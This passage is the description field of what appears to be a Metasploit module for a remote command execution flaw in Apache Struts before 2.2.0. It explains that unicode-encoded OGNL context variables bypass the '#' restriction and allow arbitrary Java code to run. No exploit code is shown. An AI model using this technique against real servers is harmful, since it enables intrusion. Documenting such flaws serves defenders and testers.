      'Description'    => %q{
          This module exploits a remote command execution vulnerability in
        Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
        handle unicode characters in OGNL extensive expressions passed to the web server.

          By sending a specially crafted request to the Struts application it is possible to
        bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
        Bypassing this restriction allows for the execution of arbitrary Java code.
